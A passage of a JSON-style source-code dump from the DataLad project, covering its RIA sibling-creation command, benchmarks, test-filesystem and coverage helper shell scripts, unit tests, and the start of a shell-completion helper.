None\\n storage_sibling = False\\n\\n if storage_sibling == 'only' and storage_name:\\n lgr.warning(\\n \\\"Sibling name will be used for storage sibling in \\\"\\n \\\"storage-sibling-only mode, but a storage sibling name \\\"\\n \\\"was provided\\\"\\n )\\n\\n ds = require_dataset(\\n dataset, check_installed=True, purpose='create RIA sibling(s)')\\n res_kwargs = dict(\\n ds=ds,\\n action=\\\"create-sibling-ria\\\",\\n logger=lgr,\\n )\\n\\n # parse target URL\\n # Note: URL parsing is done twice ATM (for top-level ds). This can't be\\n # reduced to single instance, since rewriting url based on config could\\n # be different for subdatasets.\\n try:\\n ssh_host, url_base_path, rewritten_url = \\\\\\n verify_ria_url(push_url if push_url else url, ds.config)\\n except ValueError as e:\\n yield get_status_dict(\\n status='error',\\n message=str(e),\\n **res_kwargs\\n )\\n return\\n\\n local_base_path = Path(url_path2local_path(url_base_path))\\n\\n if ds.repo.get_hexsha() is None or ds.id is None:\\n raise RuntimeError(\\n \\\"Repository at {} is not a DataLad dataset, \\\"\\n \\\"run 'datalad create [--force]' first.\\\".format(ds.path))\\n\\n if not storage_sibling and storage_name:\\n lgr.warning(\\n \\\"Storage sibling setup disabled, but a storage sibling name \\\"\\n \\\"was provided\\\"\\n )\\n\\n if storage_sibling and not storage_name:\\n storage_name = \\\"{}-storage\\\".format(name)\\n\\n if storage_sibling and name == storage_name:\\n # leads to unresolvable, circular dependency with publish-depends\\n raise ValueError(\\\"sibling names must not be equal\\\")\\n\\n if not isinstance(url, str):\\n raise TypeError(\\\"url is not a string, but %s\\\" % type(url))\\n\\n # Query existing siblings upfront in order to fail early on\\n # existing=='error', since misconfiguration (particularly of special\\n # remotes) only to fail in a subdataset later on with that config, can\\n # be quite painful.\\n # TODO: messages - this is \\\"create-sibling\\\". Don't confuse existence of\\n # local remotes with existence of the actual remote sibling\\n # in wording\\n if existing == 'error':\\n failed = False\\n for dpath, sname in _yield_ds_w_matching_siblings(\\n ds,\\n (name, storage_name),\\n recursive=recursive,\\n recursion_limit=recursion_limit):\\n res = get_status_dict(\\n status='error',\\n message=(\\n \\\"a sibling %r is already configured in dataset %r\\\",\\n sname, dpath),\\n type='sibling',\\n name=sname,\\n **res_kwargs,\\n )\\n failed = True\\n yield res\\n if failed:\\n return\\n # TODO: - URL parsing + store creation needs to be RF'ed based on\\n # command abstractions\\n # - more generally consider store creation a dedicated command or\\n # option\\n\\n io = SSHRemoteIO(ssh_host) if ssh_host else LocalIO()\\n try:\\n # determine the existence of a store by trying to read its layout.\\n # Because this raises a FileNotFound error if non-existent, we need\\n # to catch it\\n io.read_file(local_base_path / 'ria-layout-version')\\n except (FileNotFoundError, RIARemoteError, RemoteCommandFailedError) as e:\\n if not new_store_ok:\\n # we're instructed to only act in case of an existing RIA store\\n res = get_status_dict(\\n status='error',\\n message=\\\"No store found at '{}'. Forgot \\\"\\n \\\"--new-store-ok ?\\\".format(local_base_path),\\n **res_kwargs)\\n yield res\\n return\\n\\n log_progress(\\n lgr.info, 'create-sibling-ria',\\n 'Creating a new RIA store at %s', local_base_path,\\n )\\n create_store(io, local_base_path, '1')\\n\\n yield from _create_sibling_ria(\\n ds,\\n url,\\n push_url,\\n name,\\n storage_sibling,\\n storage_name,\\n alias,\\n existing,\\n shared,\\n group,\\n post_update_hook,\\n trust_level,\\n res_kwargs)\\n\\n if recursive:\\n # Note: subdatasets can be treated independently, so go full\\n # recursion when querying for them and _no_recursion with the\\n # actual call. Theoretically this can be parallelized.\\n\\n for subds in ds.subdatasets(state='present',\\n recursive=True,\\n recursion_limit=recursion_limit,\\n return_type='generator',\\n result_renderer='disabled',\\n result_xfm='datasets'):\\n yield from _create_sibling_ria(\\n subds,\\n url,\\n push_url,\\n name,\\n storage_sibling,\\n storage_name,\\n None, # subdatasets can't have the same alias as the parent\\n existing,\\n shared,\\n group,\\n post_update_hook,\\n trust_level,\\n res_kwargs)\\n\\n\\ndef _create_sibling_ria(\\n ds,\\n url,\\n push_url,\\n name,\\n storage_sibling,\\n storage_name,\\n alias,\\n existing,\\n shared,\\n group,\\n post_update_hook,\\n trust_level,\\n res_kwargs):\\n # be safe across datasets\\n res_kwargs = res_kwargs.copy()\\n # update dataset\\n res_kwargs['ds'] = ds\\n\\n if not isinstance(ds.repo, AnnexRepo):\\n # No point in dealing with a special remote when there's no annex.\\n # Note, that in recursive invocations this might only apply to some of\\n # the datasets. Therefore dealing with it here rather than one level up.\\n lgr.debug(\\\"No annex at %s. Ignoring special remote options.\\\", ds.path)\\n storage_sibling = False\\n storage_name = None\\n\\n # parse target URL\\n try:\\n ssh_host, url_base_path, rewritten_url = \\\\\\n verify_ria_url(push_url if push_url else url, ds.config)\\n except ValueError as e:\\n yield get_status_dict(\\n status='error',\\n message=str(e),\\n **res_kwargs\\n )\\n return\\n\\n local_base_path = Path(url_path2local_path(url_base_path))\\n\\n git_url = decode_source_spec(\\n # append dataset id to url and use magic from clone-helper:\\n url + '#{}'.format(ds.id),\\n cfg=ds.config\\n )['giturl']\\n git_push_url = decode_source_spec(\\n push_url + '#{}'.format(ds.id),\\n cfg=ds.config\\n )['giturl'] if push_url else None\\n\\n # determine layout locations; go for a v1 store-level layout\\n repo_path, _, _ = get_layout_locations(1, local_base_path, ds.id)\\n\\n ds_siblings = [\\n r['name'] for r in ds.siblings(\\n result_renderer='disabled',\\n return_type='generator')\\n ]\\n # Figure whether we are supposed to skip this very dataset\\n if existing == 'skip' and (\\n name in ds_siblings or (\\n storage_name and storage_name in ds_siblings)):\\n yield get_status_dict(\\n status='notneeded',\\n message=\\\"Skipped on existing sibling\\\",\\n **res_kwargs\\n )\\n # if we skip here, nothing else can change that decision further\\n # down\\n return\\n\\n # figure whether we need to skip or error due an existing target repo before\\n # we try to init a special remote.\\n if ssh_host:\\n from datalad import ssh_manager\\n ssh = ssh_manager.get_connection(\\n ssh_host,\\n use_remote_annex_bundle=False)\\n ssh.open()\\n\\n exists = False\\n if existing in ['skip', 'error', 'reconfigure']:\\n config_path = repo_path / 'config'\\n # No .git -- if it's an existing repo in a RIA store it should be a\\n # bare repo.\\n # Theoretically we could have additional checks for whether we have\\n # an empty repo dir or a non-bare repo or whatever else.\\n if ssh_host:\\n try:\\n ssh('[ -e {p} ]'.format(p=quote_cmdlinearg(str(config_path))))\\n exists = True\\n except CommandError:\\n exists = False\\n else:\\n exists = config_path.exists()\\n\\n if exists:\\n if existing == 'skip':\\n # 1. not rendered by default\\n # 2. message doesn't show up in ultimate result\\n # record as shown by -f json_pp\\n yield get_status_dict(\\n status='notneeded',\\n message=\\\"Skipped on existing remote \\\"\\n \\\"directory {}\\\".format(repo_path),\\n **res_kwargs\\n )\\n return\\n elif existing == 'error':\\n yield get_status_dict(\\n status='error',\\n message=\\\"remote directory {} already \\\"\\n \\\"exists.\\\".format(repo_path),\\n **res_kwargs\\n )\\n return\\n else:\\n # reconfigure will be handled later in the code\\n pass\\n\\n if storage_sibling == 'only':\\n lgr.info(\\\"create storage sibling '%s' ...\\\", name)\\n else:\\n lgr.info(\\\"create sibling%s '%s'%s ...\\\",\\n 's' if storage_name else '',\\n name,\\n \\\" and '{}'\\\".format(storage_name) if storage_name else '',\\n )\\n create_ds_in_store(SSHRemoteIO(ssh_host) if ssh_host else LocalIO(),\\n local_base_path, ds.id, '2', '1', alias,\\n init_obj_tree=storage_sibling is not False)\\n if storage_sibling:\\n # we are using the main `name`, if the only thing we are creating\\n # is the storage sibling\\n srname = name if storage_sibling == 'only' else storage_name\\n\\n lgr.debug('init special remote %s', srname)\\n special_remote_options = [\\n 'type=external',\\n 'externaltype=ora',\\n 'encryption=none',\\n 'autoenable=true',\\n 'url={}'.format(url)]\\n if push_url:\\n special_remote_options.append('push-url={}'.format(push_url))\\n try:\\n ds.repo.init_remote(\\n srname,\\n options=special_remote_options)\\n except CommandError as e:\\n if existing == 'reconfigure' \\\\\\n and 'There is already a special remote' \\\\\\n in e.stderr:\\n # run enableremote instead\\n lgr.debug(\\n \\\"special remote '%s' already exists. \\\"\\n \\\"Run enableremote instead.\\\",\\n srname)\\n # TODO: Use AnnexRepo.enable_remote (which needs to get\\n # `options` first)\\n ds.repo.call_annex([\\n 'enableremote',\\n srname] + special_remote_options)\\n else:\\n yield get_status_dict(\\n status='error',\\n message=\\\"initremote failed.\\\\nstdout: %s\\\\nstderr: %s\\\"\\n % (e.stdout, e.stderr),\\n **res_kwargs\\n )\\n return\\n\\n if trust_level:\\n trust_cmd = [trust_level]\\n if trust_level == 'trust':\\n # Following git-annex 8.20201129-73-g6a0030a11, using `git\\n # annex trust` requires --force.\\n trust_cmd.append('--force')\\n ds.repo.call_annex(trust_cmd + [srname])\\n # get uuid for use in bare repo's config\\n uuid = ds.config.get(\\\"remote.{}.annex-uuid\\\".format(srname))\\n\\n if storage_sibling == 'only':\\n # we can stop here, the rest of the function is about setting up\\n # the git remote part of the sibling\\n yield get_status_dict(\\n status='ok',\\n **res_kwargs,\\n )\\n return\\n\\n # 2. create a bare repository in-store:\\n\\n lgr.debug(\\\"init bare repository\\\")\\n # TODO: we should prob. check whether it's there already. How?\\n # Note: like the special remote itself, we assume local FS if no\\n # SSH host is specified\\n disabled_hook = repo_path / 'hooks' / 'post-update.sample'\\n enabled_hook = repo_path / 'hooks' / 'post-update'\\n\\n if group:\\n chgrp_cmd = \\\"chgrp -R {} {}\\\".format(\\n quote_cmdlinearg(str(group)),\\n quote_cmdlinearg(str(repo_path)))\\n\\n if ssh_host:\\n ssh('cd {rootdir} && git init --bare{shared}'.format(\\n rootdir=quote_cmdlinearg(str(repo_path)),\\n shared=\\\" --shared='{}'\\\".format(\\n quote_cmdlinearg(shared)) if shared else ''\\n ))\\n\\n if storage_sibling:\\n # write special remote's uuid into git-config, so clone can\\n # which one it is supposed to be and enable it even with\\n # fallback URL\\n ssh(\\\"cd {rootdir} && git config datalad.ora-remote.uuid {uuid}\\\"\\n \\\"\\\".format(rootdir=quote_cmdlinearg(str(repo_path)),\\n uuid=uuid))\\n\\n if post_update_hook:\\n ssh('mv {} {}'.format(quote_cmdlinearg(str(disabled_hook)),\\n quote_cmdlinearg(str(enabled_hook))))\\n\\n if group:\\n # Either repository existed before or a new directory was\\n # created for it, set its group to a desired one if was\\n # provided with the same chgrp\\n ssh(chgrp_cmd)\\n\\n # finally update server\\n if post_update_hook:\\n # Conditional on post_update_hook, since one w/o the other doesn't\\n # seem to make much sense.\\n ssh('cd {rootdir} && git update-server-info'.format(\\n rootdir=quote_cmdlinearg(str(repo_path))\\n ))\\n else:\\n gr = GitRepo(repo_path, create=True, bare=True,\\n shared=shared if shared else None)\\n if exists and existing == 'reconfigure':\\n # if the repo exists at the given path, the GitRepo would not\\n # (re)-run git init, and just return an instance of GitRepo;\\n # skip & error have been handled at this point\\n gr.init(\\n sanity_checks=False,\\n init_options=[\\\"--bare\\\"] + ([f\\\"--shared={shared}\\\"] if shared else []),\\n )\\n if storage_sibling:\\n # write special remote's uuid into git-config, so clone can\\n # which one it is supposed to be and enable it even with\\n # fallback URL\\n gr.config.add(\\\"datalad.ora-remote.uuid\\\", uuid, scope='local')\\n\\n if post_update_hook:\\n disabled_hook.rename(enabled_hook)\\n if group:\\n # No CWD needed here, since `chgrp` is expected to be found via PATH\\n # and the path it's operating on is absolute (repo_path). No\\n # repository operation involved.\\n Runner().run(chgrp_cmd)\\n # finally update server\\n if post_update_hook:\\n # Conditional on post_update_hook, since one w/o the other doesn't\\n # seem to make much sense.\\n gr.call_git([\\\"update-server-info\\\"])\\n\\n # add a git remote to the bare repository\\n # Note: needs annex-ignore! Otherwise we might push into dirhash\\n # lower annex/object tree instead of mixed, since it's a bare\\n # repo. This in turn would be an issue, if we want to pack the\\n # entire thing into an archive. Special remote will then not be\\n # able to access content in the \\\"wrong\\\" place within the archive\\n lgr.debug(\\\"set up git remote\\\")\\n if name in ds_siblings:\\n # otherwise we should have skipped or failed before\\n assert existing == 'reconfigure'\\n ds.config.set(\\n \\\"remote.{}.annex-ignore\\\".format(name),\\n value=\\\"true\\\",\\n scope=\\\"local\\\")\\n yield from ds.siblings(\\n 'configure',\\n name=name,\\n url=str(repo_path) if url.startswith(\\\"ria+file\\\") else git_url,\\n pushurl=git_push_url,\\n recursive=False,\\n # Note, that this should be None if storage_sibling was not set\\n publish_depends=storage_name,\\n result_renderer='disabled',\\n return_type='generator',\\n # Note, that otherwise a subsequent publish will report\\n # \\\"notneeded\\\".\\n fetch=True\\n )\\n\\n yield get_status_dict(\\n status='ok',\\n **res_kwargs,\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.6332270503044128,\n \"alphanum_fraction\": 0.6372861862182617,\n \"avg_line_length\": 27.741666793823242,\n \"blob_id\": \"3f9eee88397a24716e236f15383d24e9a1f11c7e\",\n \"content_id\": \"0dbbca320005bce2251af919723cd588fac8f23f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3449,\n \"license_type\": \"permissive\",\n \"max_line_length\": 99,\n \"num_lines\": 120,\n \"path\": \"/benchmarks/api.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 noet:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Benchmarks of the datalad.api functionality\\\"\\\"\\\"\\n\\nfrom os.path import join as opj\\n\\nfrom datalad.api import create\\nfrom datalad.api import create_test_dataset\\nfrom datalad.api import install\\nfrom datalad.api import ls\\nfrom datalad.api import drop\\n\\n#\\n# Following ones could be absent in older versions\\n#\\ntry:\\n from datalad.api import diff\\nexcept ImportError:\\n diff = None\\n\\ntry:\\n from datalad.api import status\\nexcept ImportError:\\n status = None\\n\\n\\n# Some tracking example -- may be we should track # of datasets.datalad.org\\n#import gc\\n#def track_num_objects():\\n# return len(gc.get_objects())\\n#track_num_objects.unit = \\\"objects\\\"\\n\\n\\nfrom .common import (\\n SampleSuperDatasetBenchmarks,\\n SuprocBenchmarks,\\n)\\n\\n\\nclass testds(SuprocBenchmarks):\\n \\\"\\\"\\\"\\n Benchmarks to test on create_test_dataset how fast we could generate datasets\\n \\\"\\\"\\\"\\n\\n def time_create_test_dataset1(self):\\n self.remove_paths.extend(\\n create_test_dataset(spec='1', seed=0)\\n )\\n\\n def time_create_test_dataset2x2(self):\\n self.remove_paths.extend(\\n create_test_dataset(spec='2/2', seed=0)\\n )\\n\\n\\nclass supers(SampleSuperDatasetBenchmarks):\\n \\\"\\\"\\\"\\n Benchmarks on common operations on collections of datasets using datalad API\\n \\\"\\\"\\\"\\n\\n def time_installr(self):\\n # somewhat duplicating setup but lazy to do different one for now\\n assert install(self.ds.path + '_', source=self.ds.path, recursive=True)\\n\\n def time_createadd(self):\\n assert self.ds.create('newsubds')\\n\\n def time_createadd_to_dataset(self):\\n subds = create(opj(self.ds.path, 'newsubds'))\\n self.ds.save(subds.path)\\n\\n def time_ls(self):\\n ls(self.ds.path)\\n\\n def time_ls_recursive(self):\\n ls(self.ds.path, recursive=True)\\n\\n def time_ls_recursive_long_all(self):\\n ls(self.ds.path, recursive=True, long_=True, all_=True)\\n\\n def time_subdatasets(self):\\n self.ds.subdatasets()\\n\\n def time_subdatasets_with_all_paths_recursive(self):\\n # to see if we do not get O(N^2) performance\\n subdatasets = self.ds.subdatasets(recursive=True, result_xfm='relpaths')\\n subdatasets2 = self.ds.subdatasets(path=subdatasets, recursive=True, result_xfm='relpaths')\\n assert subdatasets == subdatasets2\\n\\n def time_subdatasets_recursive(self):\\n self.ds.subdatasets(recursive=True)\\n\\n def time_subdatasets_recursive_first(self):\\n next(self.ds.subdatasets(recursive=True, return_type='generator'))\\n\\n def time_uninstall(self):\\n for subm in self.ds.repo.get_submodules_():\\n self.ds.drop(subm[\\\"path\\\"], recursive=True, what='all',\\n reckless='kill')\\n\\n def time_remove(self):\\n drop(self.ds.path, what='all', reckless='kill', recursive=True)\\n\\n def time_diff(self):\\n diff(self.ds.path, revision=\\\"HEAD^\\\")\\n\\n def time_diff_recursive(self):\\n diff(self.ds.path, revision=\\\"HEAD^\\\", recursive=True)\\n\\n # Status must be called with the dataset, unlike diff\\n def time_status(self):\\n self.ds.status()\\n\\n def time_status_recursive(self):\\n self.ds.status(recursive=True)\\n\"\n },\n {\n \"alpha_fraction\": 0.6666666865348816,\n \"alphanum_fraction\": 0.6779026389122009,\n \"avg_line_length\": 21.885713577270508,\n \"blob_id\": \"4ed02193a49619f1b15d13a522d71588e778aeca\",\n \"content_id\": \"a96d257ab02e6cbfab11e4c1b07fbf10a73dc72b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 801,\n \"license_type\": \"permissive\",\n \"max_line_length\": 78,\n \"num_lines\": 35,\n \"path\": \"/tools/eval_under_testloopfs\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n# Evaluate given command while running with DATALAD_TESTS_TEMP_DIR pointing to\\n# that temporary filesystem mounted using loop device\\n\\nset -e\\n\\nfs=${DATALAD_TESTS_TEMP_FS:-vfat}\\nsize=${DATALAD_TESTS_TEMP_FSSIZE:-10}\\n\\nset -u\\ntmp=$(mktemp -u \\\"${TMPDIR:-/tmp}/datalad-fs-XXXXX\\\")\\n\\necho \\\"I: $fs of $size: $tmp\\\"\\n\\nuid=$(id -u)\\nmntimage=\\\"$tmp.img\\\"\\nmntpoint=\\\"$tmp\\\"\\n\\ndd if=/dev/zero \\\"of=$mntimage\\\" bs=1032192c \\\"count=$size\\\"\\nloop=$(sudo losetup --find --show \\\"$mntimage\\\")\\nsudo \\\"mkfs.$fs\\\" \\\"$loop\\\"\\nmkdir -p \\\"$mntpoint\\\"\\nsudo mount -o \\\"uid=$uid\\\" \\\"$loop\\\" \\\"$mntpoint\\\"\\n\\n# Run the actual command\\necho \\\"I: running $*\\\"\\nset +e\\nTMPDIR=\\\"$mntpoint\\\" DATALAD_TESTS_TEMP_DIR=\\\"$mntpoint\\\" \\\"$@\\\"\\nret=$?\\n\\necho \\\"I: done, unmounting\\\"\\nsudo umount \\\"$mntpoint\\\"\\nsudo losetup -d \\\"$loop\\\"\\nrm -rf \\\"$mntpoint\\\" \\\"$mntimage\\\"\\nexit \\\"$ret\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.7039626836776733,\n \"alphanum_fraction\": 0.7086247205734253,\n \"avg_line_length\": 27.600000381469727,\n \"blob_id\": \"96db835a0364045265e97b9e10c94bbfd7e761cc\",\n \"content_id\": \"3228ea6360f50de291c739d775d7bb1fc50f63de\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 858,\n \"license_type\": \"permissive\",\n \"max_line_length\": 95,\n \"num_lines\": 30,\n \"path\": \"/tools/coverage-bin/datalad\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n#\\n# A little helper to overload default datalad executables with the one ran\\n# through coverage\\n\\nset -eu\\n\\nbin=$(basename $0)\\ncurbin=$(which \\\"$bin\\\")\\ncurdatalad=$(which datalad)\\ncurdir=$(dirname $curdatalad)\\n\\nCOVERAGE_RUN=\\\"-m coverage run\\\"\\nexport COVERAGE_PROCESS_START=$PWD/../.coveragerc\\nexport PYTHONPATH=\\\"$PWD/../tools/coverage-bin/\\\"\\nexport PATH=${PATH//$curdir:/}\\nnewdatalad=$(which datalad)\\nnewbin=$(which $bin)\\nnewpython=$(sed -ne '1s/#!//gp' $newdatalad)\\n\\nif [ $newdatalad = $curdatalad ]; then\\n echo \\\"E: binary remained the same: $newdatalad\\\" >&2\\n exit 1\\nfi\\n\\ntouch /tmp/coverages\\nexport COVERAGE_FILE=/tmp/.coverage-entrypoints-$RANDOM\\necho \\\"Running now $newpython $COVERAGE_RUN --include=datalad/* -a $newbin $@\\\" >> /tmp/coverages\\n#$newpython $COVERAGE_RUN --include=datalad/* -a $newbin \\\"$@\\\"\\n$newpython $COVERAGE_RUN -a $newbin \\\"$@\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.6317383646965027,\n \"alphanum_fraction\": 0.6347668170928955,\n \"avg_line_length\": 35.28571319580078,\n \"blob_id\": \"7e59cf6c9afe62935289605709310e7e632c8a99\",\n \"content_id\": \"30b782186c0567bc30cb6fe83e58d3994d27e585\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3302,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 91,\n \"path\": \"/datalad/tests/test_base.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport os\\nimport os.path as op\\nimport sys\\nfrom unittest.mock import patch\\n\\nfrom datalad.cmd import WitlessRunner, StdOutErrCapture\\nfrom datalad.tests.utils_pytest import (\\n SkipTest,\\n assert_in,\\n assert_raises,\\n chpwd,\\n get_dataset_root,\\n ok_file_has_content,\\n swallow_logs,\\n with_tree,\\n)\\nfrom datalad.utils import get_home_envvars\\n\\n\\n# verify that any target platform can deal with forward slashes\\n# as os.path.sep, regardless of its native preferences\\n@with_tree(tree={'subdir': {'testfile': 'testcontent'}})\\ndef test_paths_with_forward_slashes(path=None):\\n # access file with native absolute path spec\\n print(path)\\n ok_file_has_content(op.join(path, 'subdir', 'testfile'), 'testcontent')\\n with chpwd(path):\\n # native relative path spec\\n ok_file_has_content(op.join('subdir', 'testfile'), 'testcontent')\\n # posix relative path spec\\n ok_file_has_content('subdir/testfile', 'testcontent')\\n # abspath with forward slash path sep char\\n ok_file_has_content(\\n op.join(path, 'subdir', 'testfile').replace(op.sep, '/'),\\n 'testcontent')\\n\\n\\n#@with_tempfile(mkdir=True)\\n# with_tempfile dereferences tempdir, so does not trigger the failure\\n# on Yarik's laptop where TMPDIR=~/.tmp and ~/.tmp -> /tmp.\\n# with_tree in turn just passes that ~/.tmp/ directory\\n@with_tree(tree={})\\ndef test_not_under_git(path=None):\\n from datalad.distribution.dataset import require_dataset\\n dsroot = get_dataset_root(path)\\n assert dsroot is None, \\\"There must be no dataset above tmp %s. Got: %s\\\" % (path, dsroot)\\n with chpwd(path):\\n # And require_dataset must puke also\\n assert_raises(\\n Exception,\\n require_dataset,\\n None, check_installed=True, purpose='test'\\n )\\n\\n\\ndef test_no_empty_http_proxy():\\n # in __init__ we might prune http_proxy if it is empty, so it must not be\\n # empty if present\\n assert os.environ.get('http_proxy', 'default')\\n assert os.environ.get('https_proxy', 'default')\\n\\n\\n@with_tree(tree={})\\ndef test_git_config_warning(path=None):\\n if 'GIT_AUTHOR_NAME' in os.environ:\\n raise SkipTest(\\\"Found existing explicit identity config\\\")\\n\\n # Note: An easier way to test this, would be to just set GIT_CONFIG_GLOBAL\\n # to point somewhere else. However, this is not supported by git before\\n # 2.32. Hence, stick with changed HOME in this test, but be sure to unset a\\n # possible GIT_CONFIG_GLOBAL in addition.\\n\\n patched_env = os.environ.copy()\\n patched_env.pop('GIT_CONFIG_GLOBAL', None)\\n patched_env.update(get_home_envvars(path))\\n with chpwd(path), \\\\\\n patch.dict('os.environ', patched_env, clear=True), \\\\\\n swallow_logs(new_level=30) as cml:\\n out = WitlessRunner().run(\\n [sys.executable, '-c', 'import datalad'],\\n protocol=StdOutErrCapture)\\n assert_in(\\\"configure Git before\\\", out['stderr'])\\n\"\n },\n {\n \"alpha_fraction\": 0.6346456408500671,\n \"alphanum_fraction\": 0.638582706451416,\n \"avg_line_length\": 35.28571319580078,\n \"blob_id\": \"f36a4960725987e9769da9b095407ba40aff7085\",\n \"content_id\": \"eee89301cc0fcd47523913fa345b396af394a10a\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2540,\n \"license_type\": \"permissive\",\n \"max_line_length\": 81,\n \"num_lines\": 70,\n \"path\": \"/datalad/support/tests/test_due_utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import logging\\nfrom unittest.mock import patch\\n\\nfrom ...distribution import dataset as dataset_mod\\nfrom ...distribution.dataset import Dataset\\nfrom ...tests.utils_pytest import (\\n swallow_logs,\\n with_tempfile,\\n)\\nfrom ..due import (\\n Doi,\\n Text,\\n due,\\n)\\nfrom ..due_utils import duecredit_dataset\\nfrom ..external_versions import external_versions\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_duecredit_dataset(path=None):\\n dataset = Dataset(path)\\n\\n # Verify that we do not call duecredit_dataset if due is not enabled\\n # Seems can't patch.object.enabled so we will just test differently\\n # depending on either enabled or not\\n if not due.active:\\n with patch.object(dataset_mod, 'duecredit_dataset') as cmdc:\\n dataset.create()\\n cmdc.assert_not_called()\\n else:\\n with patch.object(dataset_mod, 'duecredit_dataset') as cmdc:\\n dataset.create()\\n cmdc.assert_called_once_with(dataset)\\n\\n\\n # note: doesn't crash even if we call it incorrectly (needs dataset)\\n duecredit_dataset()\\n\\n # No metadata -- no citation ATM.\\n # TODO: possibly reconsider - may be our catch-all should be used there\\n # as well\\n with patch.object(due, 'cite') as mcite:\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n duecredit_dataset(dataset) # should not crash or anything\\n # since no metadata - we issue warning and return without citing\\n # anything\\n cml.assert_logged(\\n regex='.*Failed to obtain metadata.*Will not provide duecredit.*'\\n )\\n mcite.assert_not_called()\\n\\n # Below we will rely on duecredit Entries being comparable, so if\\n # duecredit is available and does not provide __cmp__ we make it for now\\n # Whenever https://github.com/duecredit/duecredit/pull/148 is merged, and\\n # probably 0.7.1 released - we will eventually remove this monkey patching.\\n # Checking if __eq__ was actually provided seems tricky on py2, so decided\\n # to just do version comparison\\n try:\\n if external_versions['duecredit'] < '0.7.1':\\n from duecredit.entries import DueCreditEntry\\n def _entry_eq(self, other):\\n return (\\n (self._rawentry == other._rawentry) and\\n (self._key == other._key)\\n )\\n DueCreditEntry.__eq__ = _entry_eq\\n except:\\n # assume that not present so donothing stubs would be used, and\\n # we will just compare Nones\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.6086796522140503,\n \"alphanum_fraction\": 0.6138285994529724,\n \"avg_line_length\": 28.55434799194336,\n \"blob_id\": \"1b30e0d69f14a1cf4ec4cc1e6c188a81da1d27ff\",\n \"content_id\": \"85e3c237021919a22f3a2aa3b1404b10a23a7ff4\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2719,\n \"license_type\": \"permissive\",\n \"max_line_length\": 199,\n \"num_lines\": 92,\n \"path\": \"/datalad/interface/shell_completion.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"A helper command to enable shell (bash, zsh) completion for DataLad\\n\\n\\\"\\\"\\\"\\n__docformat__ = 'restructuredtext'\\n\\n\\nfrom .base import Interface\\n\\nfrom datalad.interface.base import (\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.support.exceptions import CapturedException\\n\\nfrom logging import getLogger\\n\\nlgr = getLogger(\\\"datalad.interface.shell_completion\\\")\\n\\n\\n@build_doc\\nclass ShellCompletion(Interface):\\n \\\"\\\"\\\"Display shell script for enabling shell completion for DataLad.\\n\\n Output of this command should be \\\"sourced\\\" by the bash or zsh to enable\\n shell completions provided by argcomplete.\\n\\n Example:\\n\\n $ source <(datalad shell-completion)\\n $ datalad --<PRESS TAB to display available option>\\n\\n \\\"\\\"\\\"\\n # XXX prevent common args from being added to the docstring\\n _no_eval_results = True\\n result_renderer = 'tailored'\\n _params_ = {}\\n\\n @staticmethod\\n @eval_results\\n def __call__():\\n \\\"\\\"\\\"\\n \\\"\\\"\\\"\\n try:\\n import argcomplete\\n except Exception as exc:\\n lgr.error(\\\"argcomplete failed to import - completions unlikely to work.\\\"\\n \\\" Check if it is installed: %s\\\", CapturedException(exc))\\n content = \\\"\\\"\\\"\\\\\\n# Universal completion script for DataLad with the core autogenerated by\\n# python-argcomplete and only slightly improved to work for ZSH if sourced under ZSH.\\n#\\n# Instead of just running this command and seeing this output, do\\n#\\n# source 